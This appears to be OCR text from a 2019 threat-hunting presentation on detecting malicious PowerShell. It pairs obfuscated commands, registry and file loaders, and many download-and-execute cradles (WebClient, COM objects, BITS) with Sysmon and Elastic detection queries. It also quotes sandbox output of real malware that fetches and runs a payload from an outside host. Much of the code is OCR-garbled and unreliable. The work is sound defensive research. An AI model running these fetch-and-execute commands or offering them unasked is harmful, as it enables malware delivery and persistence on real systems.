PowerShell powershell $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAKx46VWAA3NPLAENKMpPTi0utnYHsoNTi80yk105AA7DSEUYAAAA')) ;IEX (New-Object
I0.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]: :Decompress))).ReadToEnd()

Microsoft-Windows-

powershell $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAKx46VWAA3SNPLAENKMpPTi@utnYHsoNTi80yk105AA7DSEUYAAAA')) ;IEX (New-Objec
Sysmon

t I0.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]: :Decompress))).ReadToEnd()

winlog.provider_name winlog.event_id
winlog.event_data.ScriptBlockText

Microsoft-Windows- 4,104
PowerShell

$s=New-0Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAKx46VWAA3NPLAENKMpPTiOutnYHsoNTi80yk105AA7DSEUYAAAA')) ;IEX (New-Object
I0.StreamReader (New-Object I0.Compression.GzipStream($s, [I0.Compression.CompressionMode]: :Decompress))).ReadToEnd()

43



FromBase64String / X509Enrollment COM
and ScriptBlock logging

winlog.provider_name winlog.event_id winlog.event_data.Processld

Microsoft-Windows- 1
Sysmon

Microsoft-Windows- | 1
Sysmon

|
winlog.provider_name | winlog.event_lid

Microsoft-Windows- | 4,104
PowerShell

Microsoft-Windows-
PowerShell

Microsoft-Windows-
PowerShell

Microsoft-Windows-
PowerShell

winlog.process.pid

9,264

winlog.event_data.CommandLine

powershell IEX ([System.Text.Encoding]::Unicode.GetString((New-Object -ComObject X509Enrollment.

CBinaryConverter).StringToVariantByteArray('RwB1AHQALQBQAHIAbwBjAGUAcwBzADSARWB1AHQALQBTAGUACgB2A
GKAYWB1AA==", 1)))

powershell $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAKx46VWAASNPLAENKMpPT
iButnYHsoNTi80yk105AA7DSEUYAAAA' ) ) ;IEX (New-Object IO.StreamReader(New-Object IO.Compression.Gzip
Stream(Ss, [I0.Compression.CompressionMode]: :Decompress))).ReadToEnd()

winlog.event_data.ScriptBlockText

8s=New-0Object IO0.MemoryStream(, [Convert]::FromBase64String('H4sIAKx46VWAA3NPLAENKMpPTiOutnYHsoNTi80yk1
O5AA7DSEUYAAAA')) ;IEX (New-Object IO0.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compress
ion.CompressionMode] : :Decompress))) .ReadToEnd()

Get-Process;Get-Service

IEX ([System.Text.Encoding]::Unicode.GetString((New-Object -ComObject X589Enrollment.CBinaryConverter)
.StringToVariantByteArray('RwB1AHQALQBQAHIAbwBjAGUAcwBzADSARWB1AHQALQBTAGUACgB2AGKAYWB1AA==", 1)))

Get-Process;Get-Service




Xor-ed commands ITW

Hybrid Analysis
https://www.hybrid-
. : , analysis.com/sample/72c654e81e379587
Tip: Click an analysed process below to view more details. 7f0159ae56553d29599e34e82¢c7cb5dfc3f
- b376cb3a21cc7?environmentld=120

Analysed 4 processes in total.

@4 WINWORD.EXE /n "C:\Payment.doc" (PID: 3184)
] powershell.exe PowersHeLL &( ([STring]SVErbosEPreFErence)[1,3]+'X™-joIN") ( (120, 61,31,53,4, 38, 26 124,97, 124,50 , 57,43 ,113,51,62, 54, 57 ,63 , 40, 124,46 , 61,50,5
6,51,49,103,120 ,42,58,17 ,49, 30 ,9 ,124,97,124 , 50, 57, 43,113, 51,62, 54,57 ,63 , 40,124 ,15,37 , 47 , 40,57 , 49 , 114 ,18,57,40 , 114 1, 57,62,31,48,53 ,57, 50 ,40,103,120,
47,50 ,63,61, 38,25 124, 97 124,123, 52, 40,40 ,44,102, 115,115 ,43, 43, 43,114, 58,53, 40,58, 41,50 ,56,63, 48 , 41,62 ,114, 63,51,49 ,115, 23,18 ,47, 6,19, 45,115,28,52 4
0,40,44,102,115,115, 43, 43 ,43,114, 58 , 46, 57, 61,55, 43,51, 46 ,48 ,56, 114, 57 ,47115,23, 48, 55,41,21,115,28 , 52 ,40,40 , 44,102,115, 115,43, 43 ,43,114, 59, 53 ,61, 37 ,5
6,61,50, 40 ,41, 51, 50,59,113,63,61,50,40,52, 51,114, 63 ,51,49,115 ,52,43, 55, 10, 45,51 ,15, 115, 28 , 52, 40,40,44,102 , 115,115 ,43, 43 , 43,114, 59 ,46,57 , 57 ,50 ,47 ,44 , 53 ,5
6,57,46 114,63,51,49,114, 49 ,37 115,43, 44 113 ,63,51,50, 40, 57, 50, 40 ,115,59, 61, 48, 48, 57,46, 37 115 13,46, 49 ,43,19,115, 28 ,52 ,40, 40,44,102,115, 115, 43, 4
3,43,114, 58 ,61,55,40 ,51,46, 37 ,61,44,53 ,114, 63, 51, 49 ,114,40 ,46,115,21, 29, 22, 42,115,123,114 15 ,44, 48 ,53 ,40 ,116 ,123,28,123 117,103, 120 ,30,26, 53 , 46,43,124 ,9
7,124,120, 61,31,53,4, 38 , 26, 114,50 ,57 ,36,40, 116 ,109 , 112,124 ,111,110,106 ,108, 109,101, 117,103,120, 9, 14,19, 50, 19, 124 .97 ,124 ,120,57, 50, 42,102, 40, 57 , 49 ,44
. 124,119,124 123 ,0, 123, 124, 119,124 120, 30,26 ,53 ,46, 43,124,119, 124,123 ,114, 57, 36, 57,123 103, 58, 51,46,57 ,61, 63, 52,116, 120, 44 ,27 ,5, 6,16,124, 53 ,50,124,120 , 47,
50,63 ,61,38,25117,39, 40, 46,37 ,39,120, 42, 58 17,49 ,30,9,114, 24, 51, 43,50 ,48, 51, 61, 56, 26 , 53,48 ,57 116,120, 44,27 ,5, 6,16 ,114,8, 51,15, 40 ,46,53 ,50, 59,116,
117,12,124,120 9,14 19,50 ,19, 117 103, 15, 40, 61,46,40 113,12, 46 , 51, 63 ,57, 47 ,47124,120, 9,14 ,19,50,19 ,103 ,62, 46, 57 ,61, 55,103, 33,63,61,40, 63,52, 39, 43,46,
53,40 ,57113,52, 51, 47, 40, 124,120, 3 14, 25, 36,63 ,57 ,44 ,40,53 ,51, 50, 114 17, 57,47 , 47 , 61,59,57,103,33 ,33 ) | FOReacH-oBJECT{ [chaR] ($_-Bxor"Ox5c") } ) -JOIn") (
PID:3820) ® = A
7] 48025.exe (PID: 3728)
] 48025.exe (PID: 3588)



https://www.hybrid-analysis.com/sample/72c654e81e3795877f0159ae56553d29599e34e82c7cb5dfc3fb376cb3a21cc7?environmentId=120

Xor-ed commands. Let’s hunt it! e

RONE

2019
SplainCommand = 'Write-Host "Hello from PowerShell!"; Get-Process’;
SplainCommandBytes = [Char[]]SplainCommand
SxoredCommand = (([Char[]] SplainCommand [%{S_ -bxor 0x8}/%{[Char]S_}) -join ")
SxoredCommand => _zalm%@g{|(*@mddg(nzge(Xg”; mz[ mdd)*3(0m|%Xzgkm{{'

¥

powershell -command "IEX S(([Char[]]_zalm%@g{|(*@mddg(nzge(Xg*; mz[ mdd)*3(0m|%Xzgkm{{|%{S_ -bxor
0x8}|%{[Char]S_}) -join ") "

(winlog.event_data.CommandLine:(*powershell* *pwsh* *SyncAppvPublishingServer* *pwsh*) OR
winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6" OR (winlog.event_id:400
AND winlog.provider_name:PowerShell)) AND winlog.event_data.CommandLine:(*char* AND *bxor* AND *join*)

winlog.provider_name winlog.event_id
winlog.event_data.CommandLine

PowerShell powershell IEX $(([Char[]]'_za|m%@g{| (*@mddg(nzge(Xg*¢mz[ mdd)*3(0m|%Xzgkm{{' |%{S_ -bxor 0x8}|%{[Char]$_}) -join '")

Microsoft-Windows- powershell "IEX $(([Char[]]'_za|m%%@g{|(*@mddg(nzge(Xg”*;mz[ mdd)*3(0m|%%Xzgkm{{' |%%{S_ -bxor 0x8}|%%{[Char]$_}) -join '"') "
Sysmon

PowerShell powershell -NoProfil -NonInter IEX $(([Char[]]'_za|m%@g{|(*@mddg(nzge(Xg*i;mz[ mdd)*3(0m|%Xzgkm{{' |%{S_ -bxor @x8}|%{[Char]$_}) -join '

")




Execution of PS code / .NET assembly from registry OFF

RONE
2019
powershell.exe -command “IEX B Registry Editor
. . . File Edit View Favorites Help

(IText.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get- [ Com putetr‘katEv_CUF{RENtT_u SER‘\SPOFM'Bre‘\.CIasses‘xU BZZXDIZAOGD
ItemProperty - e Name Type  Data
I . ’ ” . TypeLib 39| (Default) REG_.. (value not set)
HKCU:\Software\Classes\UBZZXDJZAOGD’).b64encPS))) - wzpoiAcG F ( MEM: oy i ; thﬂ m:m LA

:::gzrsdfi:; : ::k 3 REG_.. R2VOLVByb2NIc3M7R2VOLVNIcnZpY2U=
powershell -command || WOW6432Node

i xbls
"[Reflection.Assembly]::Load([System.Convert]::FromBase64String(( [RiNE=S
Get-ItemProperty “ﬁji;p’zr
'HKCU:\Software\Classes\UBZZXDJZAOGD').b64encAssembly)); toox fendfinder

XpoX-gamenuo

[CMD_eXGC CIaSS 1]"RU” CMD() ! vhoxnames

HYbrId Analysis https://www.hybrid-

analysis.com/sample/6c5d97dd488a5d8
3bd221d2636e6dc5ef14be91cf1b1a38ce

Tip: Click an analysed process below to view more details. 72261f3febad1832environmentld=120

-

Analysed 2 processes in total.

€ wscript.exe "C\espa_a.vbs" (PID: 344)

- &1 schtasks.exe /create /sc minute /mo 1/tn "bla" /tr "powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.R

eflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ltemProperty HKCU:\Software).Values)).EntryPoint.Invoke(SNull,SNull)"



https://www.hybrid-analysis.com/sample/6c5d97dd488a5d83bd221d2636e6dc5ef14be91cf1b1a38ce7a261f3febad183?environmentId=120

Execution of PS code /.NET assembly from registry F
Let's hunt It! ONE

(winlog.event_data.ScriptBlockText:"*Reflection.Assembly*" AND winlog.event_data.ScriptBlockText:*Load* AND
winlog.event_data.ScriptBlock Text:("*gp *" "*get-itemproperty*')) OR ((winlog.event_data.CommandLine:(*powershell* *pwsh*)
OR winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6" OR
(winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND ( (winlog.event_data.CommandLine:"*Reflection.Assembly*"
AND winlog.event_data.CommandLine:*Load* AND winlog.event_data.CommandLine:("*gp *" "*get-itemproperty*")) OR
(winlog.event_data.CommandLine:("*gp *" "*get-itemproperty*"') AND winlog.event_data.CommandLine:(*iex* "*invoke-
command*")) ) )

winlog.provider_name winlog.event_id
winlog.event_data.CommandLine

PowerShell powershell -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((gp
"HKCU :\Software\Classes\UBZZXDJZAOGD') .b64encAssembly)); [CMD_exec.Class1]::RunCMD()

Microsoft-Windows- powershell -command "[Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty
Sysmon "HKCU :\Software\Classes\UBZZXDJZAOGD') .b64encAssembly)); [CMD_exec.Class1]::RunCMD()"

PowerShell powershell.exe IEX ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\UBZZXDJZAOGD').b64encPS)))

Microsoft-Windows- powershell.exe IEX ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((get-itemproperty
Sysmon "HKCU :\Software\Classes\UBZZXDJZAOGD') .b64encPS)))

winlog.provider_name winlog.event_id
winlog.event_data.ScriptBlockText

Microsoft-Windows- 4,104 [Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty 'HKCU:\Software\Classes\UBZZXDJZAOGD').b64encAssembly));
PowerShell [CMD_exec.Class1]: :RunCMD()




Execution of PS code /.NET assembly from file OFF

RONE

2019

Loading .and executing NET assembly from file:

powershell -command

"[Reflection.Assembly]::Load(([System.lO.File]::ReadAllBytes('C:\temp\CMD_exec.dll’)));,[CMD_exec.Class1]::RunC
MD(),"

powershell -command "[Reflection. Assembly]::LoadFile('C:\temp\CMD_exec.dll'),[CMD_exec.Class1]::RunCMD()"

Loading and executing PowerShell code from file:

powershell IEX (Get-Content C:\temp\TestPS.txt -Raw)
powershell IEX (gc C:\temp\TestPS.txt -Raw)
powershell IEX (type C:\temp\TestPS.txt -Raw)
powershell IEX (cat C:\temp\TestPS.txt -Raw)
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Execution of PS code /.NET assembly from file J—
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(winlog.event_data.ScriptBlock Text:("*Reflection.Assembly*") AND (winlog.event_data.ScriptBlock Text:(*Load* AND
*ReadAllBytes*) OR winlog.event_data.ScriptBlock Text:*LoadFile*)) OR ((winlog.event_data.CommandLine:(*powershell* *pwsh*)
OR winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6" OR
(winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND ( (winlog.event_data.CommandLine:("*Reflection.Assembly*")
AND (winlog.event_data.CommandLine:(*Load* AND *ReadAllBytes*) OR winlog.event_data.CommandLine:*LoadFile*)) OR
(winlog.event_data.CommandLine:("*get-content*" "*gc *" "*type *" "*cat *") AND -winlog.event_data.CommandLine:"*[type]*" AND
winlog.event_data.CommandLine:(*iex* "*invoke-command*")) ) )

winlog.provider_name winlog.event_id
winlog.event_data.CommandLine

PowerShell powershell -command [Reflection.Assembly]::Load(([System.IO.File]::ReadAllBytes('C:\temp\CMD_exec.dll')));[CMD_exec.Class1]::RunCMD();

Microsoft-Windows- powershell IEX (cat C:\temp\TestPS.txt -Raw)
Sysmon

Microsoft-Windows- powershell IEX (Get-Content C:\temp\TestPS.txt -Raw)
Sysmon

Microsoft-Windows- powershell -command "[Reflection.Assembly]::LoadFile('C:\temp\CMD_exec.d1ll');[CMD_exec.Class1]::RunCMD()"
Sysmon

winlog.provider_name winlog.event_id winlog.event_data.ScriptBlockText

Microsoft-Windows-PowerShell 4,104 [Reflection.Assembly] ::Load(([System.I0.File]::ReadAllBytes('C:\temp\CMD_exec.dll')));[CMD_exec.Class1]::RunCMD();

Microsoft-Windows-PowerShell 4,104 [Reflection.Assembly]::LoadFile('C:\temp\CMD_exec.dll"') ;[CMD_exec.Class1]::RunCMD()




Download Cradles —

OFF
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powershell IEX (New-Object Net.Webclient).DownloadString(http://www.site.com/PSScript.ps1’)

Invoke-RestMethod
powershell IEX (Invoke-RestMethod 'http://www.site.com/PSScript.ps1’)

Invoke-WebRequest and aliases

powershell IEX (Invoke-WebRequest 'http.//www.site.com/PSScript.ps1’)
powershell IEX (curl 'http://www.site.com/PSScript.ps1’)
powershell IEX (wget 'http://www.site.com/PSScript.psT’)

Hybrid Analysis

https://www.hybrid-

analysis.com/sample/da82eaeba71eeb95d643
Tip: Click an analysed process below to view more details. b0343b2c095d72b686314cd340631aa8d9fe08

~ a/4714%environmentld=100
Analysed 3 processes in total (System Resource Monitor).

- W) WINWORD.EXE /n "C:\remittance_advice_58.docx" (PID: 2528)

@3 crnd.exe /r powershell -ExecutionPolicy ByPass -NoProfile -command (New-Object System.Net.WebClient).DownloadFile(' http://4thkantonind.top/egyp
t/hashish/afghankush.php % TEMP%)\calc.exe');Start ‘% TEMP%)\calc.exe’; (PID: 4012)



https://www.hybrid-analysis.com/sample/da82eaeba71eeb95d643b0343b2c095d72b686314cd340631aa8d9fe08a74714?environmentId=100

Download Cradles. COM Objects

There are several COM objects, that can be used for downloading:

ProgID CLSID

InternetExplorer.Application

0002DF01-0000-0000-C000-000000000046

MsxmI2 XMLHTTP

F6D90F16-9C73-11D3-B32E-00C04F990BB4

MsxmI2. XMLHTTP.3.0

F5078F35-C551-11D3-89B9-0000F81FE221

MsxmI2. XMLHTTP.6.0

88d96a0a-f192-11d4-a65f-0040963251e5

Msxml2.ServerXmlHttp

AFBA6B42-5692-48EA-8141-DC517DCFOEF1

Msxml2.ServerXMLHTTP.3.0

AFB40FFD-B609-40A3-9828-F88BBE11E4E3

Msxml2.ServerXMLHTTP.6.0

88d96a0b-f192-11d4-a65f-0040963251e5

WinHttp.WinHttpRequest.5.1

2087c2f4-2cef-4953-a8ab-66779b670495

Word.Application

000209FF-0000-0000-C000-000000000046

Excel.Application COM

00024500-0000-0000-C000-000000000046

\
XON

2019
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MsxmI2. XMLHTTP (F6D90F16-9C73-11D3-B32E-00C04F990BB4)

powershell -command “Sh=New-Object -ComObject MsxmI2.XMLHTTP;
Sh.open('GET' http://site.com/PSScript.ps1’Sfalse); Sh.send(); IEX Sh.responseText”

powershell —-command “Sh = [activator]::Createlnstance([type]::GetTypeFromCLSID('F6D90F16-9C73-11D3-B32E-
00C04F990BB4’)); Sh.open('GET' http://site.com/PSScript.ps1,Sfalse); Sh.send(); IEX Sh.responseText”

InternetExplorer.Application (0002DF01-0000-0000-C000-000000000046)

powershell -command “Sie=New-Object -comobject InternetExplorer.Application; Sie.visible=SFalse;
Sie.navigate('http://site.com/PSScript.ps1’); start-sleep -s 5; Sr=Sie.Document.body.innerHTML; Sie.quit(); IEX Sr”

powershell -command "Sie = [activator]::Createlnstance([type]::GetTypeFromCLSID('0002DF07-0000-0000-C000-
000000000046")); Sie.visible=SFalse; Sie.navigate(‘http://site.com/PSScript.ps1’); start-sleep -s 5;
Sr=Sie.Document.body.innerHTML; Sie.quit(); IEX Sr"
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Word.Application (000209FF-0000-0000-C000-000000000046)

powershell.exe ScomWord=New-Object -ComObject Word.Application; While(ScomWord.Busy) { Start-Sleep -
Seconds 1} ScomWord.Visible=SFalse; Sdoc=ScomWord.Documents.Open(‘hitp://www.site.com/PSScript.ps1’);
While(ScomWord.Busy) { Start-Sleep -Seconds 1 } IEX Sdoc.Content. Text; ScomWord.Quit();
[Void][System.Runtime.InteropServices.Marshall::ReleaseComObject(ScomWord)

powershell ScomWord = [activator]::Createlnstance([type]::GetTypeFromCLSID('000209FF-0000-0000-C000-
000000000046°)); While(ScomWord.Busy) { Start-Sleep -Seconds 1} ScomWord.Visible=SFalse;

Sdoc=ScomWord.Documents.Open(http://www.site.com/PSScript.ps1’); While(ScomWord.Busy) { Start-Sleep -
Seconds 1} IEX Sdoc.Content. Text; ScomWord.Quit();

[Void][System.Runtime.InteropServices.Marshall::ReleaseComObject(ScomWord)

o4



Download Cradles

k4 Heirhabarov / DownloadCradles.ps1 # Edit | [Delete  «4xUnsubscribe W Star 0
forked from HarmJOy/DownloadCradles.ps1

Last active 4 days ago

<> Code Revisions 14 Forks 1 Embed v <script src="https://gi: @_ I'il Download ZIP

https://gist.github.com/Heirhabar
ov/0e70be1185186834f739ad716
DownloadCradles.psl 8732334

AR System.Net. cradles #HHHHHHEHHHEHHHHE

Download Cradles

# System.Net.Webclient DownloadString
IEX (New-Object Net.Webclient).DownloadString('https://gist.githubusercontent.com/Heirhabarov/69105374b@8b12ab10f215b0923119d2/

# System.Net.Webclient DownloadData
IEX ([System.Text.Encoding]::ASCII.GetString((New-Object Net.Webclient).DownloadData('https://gist.githubusercontent.com/Heirha

$test = (New-Object Net.Webclient).DownloadData('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d

# System.Net.Webclient DownloadFile (touches disk)
(New—Object Net.Webclient).DownloadFile('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45

# System.Net.Webclient OpenRead
IEX (new-object System.IO.StreamReader ((New-Object Net.Webclient).OpenRead('https://gist.githubusercontent.com/Heirhabarov/691

$r = (New-Object Net.Webclient).OpenRead('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/4

# System.Net.WebRequest
$r = [System.Net.WebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896

# System.Net.HttpWebRequest
$r = [System.Net.HttpWebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/4

# System.Net.FileWebRequest

$r = [System.Net.FileWebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/4

# System.Net.FtpWebRequest
$r = [System.Net.FtpWebRequest]::Create('https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45




PowerShell Download Cradles. Let's hunt It! -
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Search for cmndlets, objects and functions names, related to download cradles:

(winlog.event_data.CommandLine:(*powershell* *pwsh*) OR winlog.event_data.Description:"Windows PowerShell" OR
winlog.event_data.Product:"PowerShell Core 6" OR (winlog.event_id:400 AND winlog.provider_name:PowerShell))
AND (winlog.event_data.CommandLine:(*WebClient* *DownloadData* *DownloadDataAsync*
*DownloadDataTaskAsync* *DownloadFile* *DownloadFileAsync* *DownloadFileTaskAsync* *DownloadString*
*DownloadStringAsync* *DownloadStringTaskAsync* *OpenRead* *OpenReadAsync* *OpenReadTaskAsync*
*FileWebRequest* *FtpWebRequest* *HttpWebRequest* *WebRequest* *WebRequestMethods* *curl* *wget*
*RestMethod* *WinHttpRequest* *WinHttp* iwr irm "*internetExplorer.Application*" "*MsxmI2. XMLHTTP*"
"*MsXml2.ServerXmlIHttp*") OR (winlog.event_data.CommandLine:("*System.Xml.XmIDocument*"
"*Excel.Application*" "*Word.Application*") AND winlog.event_data.CommandLine:(*http* *ftp* *sftp*)) OR
(winlog.event_data.CommandLine:*BitsTransfer* AND -winlog.event_data.CommandLine:*upload*) )

winlog.event_id
winlog.event_data.CommandLine

Powershell -Command $r = [System.Net.WebRequest]::Create('http://www.site.com/PSScript.ps1'); Sresp = $r.GetResponse(); Srespstream = Sresp.GetResponseStream(); $8sr =
new-object System.IO.StreamReader $respstream; Sresult = $sr.ReadToEnd(); IEX Sresult

powershell IEX (Invoke-RestMethod 'http://www.site.com/PSScript.ps1')
powershell -command "Import-Module bitstransfer;Start-BitsTransfer 'https://www.site.com/PSScript.ps1' 'bitstest';IEX (Get-Content '.\bitstest' -raw)"

powershell.exe -command "IEX (wget 'https://www.site.com/PSScript.ps1')"

powershell $h=new-object -com WinHttp.WinHttpRequest.5.1;Sh.open('GET', 'https://www.site.com/PSScript.ps1', $false);Sh.send();iex $h.responseText

"powershell IEX (New-Object Net.Webclient).DownloadString('http://10.0.0.1/test.ps1')"



PowerShell Download Cradles. COM objects CLSID ~—
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Search for CLSID of COM objects, that can be used for downloading:

(winlog.event_data.CommandLine:(*powershell* *pwsh*) OR winlog.event_data.Description:"Windows PowerShell" OR
winlog.event_data.Product:"PowerShell Core 6" OR (winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND
(winlog.event_data.CommandLine:("*0002DF07-0000-0000-C000-000000000046*" "*F6D90F16-9C73-11D3-B32E-
00C04F990BB4*" "*F5078F35-C551-11D3-89B9-0000F81FE221*" "*88d96a0a-f192-11d4-a65f-00409632571e5*" "*AFBA6B42-
5692-48EA-8141-DC517DCFOEF1*" "*AFB40FFD-B609-40A3-9828-F88BBE11E4E3*" "*88d96a0b-f192-11d4-a65f-00409632517e5*"
"*2087c2f4-2cef-4953-a8ab-66779b670495*") OR (winlog.event_data.CommandLine:("*000209FF-0000-0000-C000-
000000000046*" "*00024500-0000-0000-C000-000000000046*") AND winlog.event_data.CommandLine:(*http* *ftp* *sftp*)) )

winlog.provider_name

PowerShell

Microsoft-Windows-
Sysmon

Microsoft-Windows-
Sysmon

PowerShell

winlog.event_id

winlog.event_data.CommandLine

powershell ScomWord = [activator]::CreateInstance([type]::GetTypeFromCLSID('0@802069FF-0800-00008-C000-008000000046')) ;While(ScomWord.Busy) { S
tart-Sleep -Seconds 1 } ScomWord.Visible=$False; Sdoc=$comWord.Documents.Open('http://www.site.com/PSScript.ps1'); While(ScomWord.Busy) { St
art-Sleep -Seconds 1 } IEX $doc.Content.Text; ScomWord.Quit(); [Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject(ScomWord)

powershell -command "S$comExcel=[activator]::CreateInstance([type]: :GetTypeFromCLSID('80024500-08000-0000-C000-000000000B046')); While(ScomExc
el.Busy) { Start-Sleep -Seconds 1 } ScomExcel.DisplayAlerts=$False; $Null=ScomExcel.Workbooks.Open('http://www.site.com/PSScript.ps1'); Whil

e(ScomExcel.Busy) { Start-Sleep -Seconds 1 } IEX ((ScomExcel.Sheets.Item(1).Range('A1:N'+ScomExcel.Sheets.Item(1).UsedRange.Rows.Count).Valu
e2|?{(variable _).Value})-Join''n'); ScomExcel.Quit(); [Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject(ScomExcel)"

powershell S$h = [activator]::CreateInstance([type]: :GetTypeFromCLSID('20887c2f4-2cef-4953-a8ab-66779b670495')) ;Sh.open('GET', 'http://www.sit
e.com/PSScript.ps1',$false);Sh.send();iex $h.responseText

powershell -command $ie = [activator]::CreateInstance([type]::GetTypeFromCLSID('0002DFB1-0000-0800-C000-00P00BOR0R46"')); Sie.visible=$False;
$ie.navigate('http://www.site.com/PSScript.ps1'); start-sleep -s 5; $r=$ie.Document.body.innerHTML; $ie.quit(); IEX $r




PowerShell Download Cradles. BITS e
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powershell Import-Module bitstransfer; Start-BitsTransfer 'http.//www.site.com/PSScript.ps1' 'bitstest’;

IEX (Get-Content " \bitstest' -raw)

{2 Event Properties - Event 1, Sysmon @ -VEr

General [Details General Details

Process Create: The BITS service created a new job.

RuleName: Transfer job: BITS Transfer
sl S llEa gl S Job ID: {e1b1c3bf-d80a-4652-a19¢-8b339634af 37}
Erocessgm;éégc?ﬂfdc}6&33-5dD4-DDDD-DD103852b504} Owner: SHOCKWAVE\admin

roCessid: 3500 . . AT 3 T AT A\ )
Image: CAWindows\System32\WindowsPowerShell\w1.0\powershell.exe E:EE:E F[?tggr;:g e e s e
FileVersion: 10.0.14393.0 (rs1_release. 160/ 13- T616)
Description: Windows PowerShell |
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation Log Name: Microsoft-Windows-Bits-Client/Operational
CommandLine: powershell Import-Module bitstransfer;5tart-BitsTransfer
'hitpe/ S www.site.com/PS5cript.ps1’ 'bitstest: [EX (Get-Content '\bitstest' -raw)
CurrentDirectory: C\Windows\system32Y, General Details
User: SHOCKWAVYE\admin
LogonGuid: {c731fdc5-2001-5cfd-0000-0020475c0d00}

BITS stopped transferring the BITS Transfer transfer job that is associated with the
ng Mame: MinDSOﬂ-‘n’ViﬂdDWS'S'_‘,}'SI'TI Dﬂ-’er erational http:/ S waew.site.com/PSScript.ps1 URL. The status code is 0x201901794,
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Search for BITS job creation events, where process is PowerShell.exe/pwsh.exe or
bitsadmin.exe:

winlog.event_id:3 AND winlog.provider_name:"Microsoft-Windows-Bits-Client" AND
winlog.event_data.processPath:("\\powershell.exe" "\\pwsh.exe" "\\bitsadmin.exe")

winlog.provider_name winlog.event_id winlog.event_data.processld winlog.event_data.jobOwner winlog.event_data.jobld
winlog.event_data.processPath

Microsoft-Windows- 3 C:\Windows\System32\WindowsPower 3868 @ Q SHOCKWAVE\admin {E1B1C9BF-D80A-4652
Bits-Client Shell\v1.0\powershell.exe -A19C-8B359634AF97}
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Search for unusual URLs in BITS jobs: 2019

winlog.event_id:(59 OR 60 OR 61) AND winlog.provider_name:"Microsoft-Windows-Bits-Client" AND -
winlog.event_data.url:(*amazon.com* *avast.com* *avcdn.net* *symantec.com* *oracle.com* *bing.com* *aka.ms*
*microsoft.com* *live.com* *msn.com* *office365.com* *xboxlive.xcom* *visualstudio.com* *yandex.ru* *yandex.net*
"*client.dropbox.com/client*" *update.sbis.ru* *googleapis.com* *googleusercontent.com* gvt1.com *google.com*
*autodesk.com* *mcneel.com* *skype.com* *adobe.com* *onenote.net* *akamaized.net* "*update.think-cell. com*"
"*static.think-cell.com*" *msftspeechmodelsprod.azureedge.net* *dropboxstatic.com* *postsharp.net* *pdfcomplete.com*
*techsmith.com* *hp.com* "*oneclient.sfx.ms*" *corel.com* *windowsupdate.com* *download.drp.su* *virtualearth.net*)
AND -winlog.event_data.name:(SpeechModelDownloadJob "Push Notification Platform Job*" UpdateDescriptionXml
PreSigninSettingsConfigJSON "Font Download" *OABRequestHandler* "CCM Message Upload *" "CCMSETUP DOWNLOAD*"
"Microsoft Outlook Offline Address Book*" *CCMDTS* "WU Client Download*" *_chrome_installer* *_chrome_updater*
*drp_bits_job* "Solid Edge User Experience*" "*GoogleUpdateSetup.exe*")

winlog.provider_name winlog.event_id winlog.event_data.ld
winlog.event_data.url

Microsoft-Windows- http://www.site.com/PSScript.ps1 {E1B1C9BF-D8BA-4652
Bits-Client -A19C-8B359634AF97}

Microsoft-Windows- https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923 {E30D40AB-07FE-451A
Bits-Client 119d2/raw/45896b2561cc9¢c577378a630817078fbcd0588f4/TestPSScript.ps1 -B04B-1DF866277CF9}

Microsoft-Windows- https://gist.githubusercontent.com/Heirhabarov/69105374b08b12ab10f215b0923 {E30D40AB-07FE-451A
Bits-Client 119d2/raw/45896b2561cc9¢c577378a630817078fbcd0588f4/TestPSScript.ps1 -B04B-1DF866277CF9}
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P8} nuoke—-Obfuscation

A /7 7
I dd NV /s N/ N\
SN K /
7/ /1 HEEAN / —
SN/ S — 7/ L >___
S NS / t/ / N/ AN

-
(A A AV A A A AV Al G NV S A VA aN4
N e SN NN NSNS

ELP MENU options
Tutorial TUTORIAL
Help HELP,GET-HELP,?,.-?./? _MENU
Show options SHOW OPTIONS.SHOW,OPTIONS
Clear CLEAR. CLEAR-HOST . CLS
Execute EXEC, EXECUTE, TEST . RUN
Copy COPY . CLIP.CLIPBOARD
Out ouT
Reset RESET
Undo UNDO
Back BACK.CD ..
Quit QUIT,EXIT
Home HOME.MAIN
options
TOKEN Tokens
AST fAst
STRING String
ENCODING Encoding
COMPRESS Compress
LAUNCHER Launcher
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powershell IEX (New-Object nET.WEBcLient).dOWNIoADstriNg(‘http://www.site.com/PSScript.ps1’)

powershell -command "&('I'+'EX’) (&('New'+-0bj'+'ec'+'t)
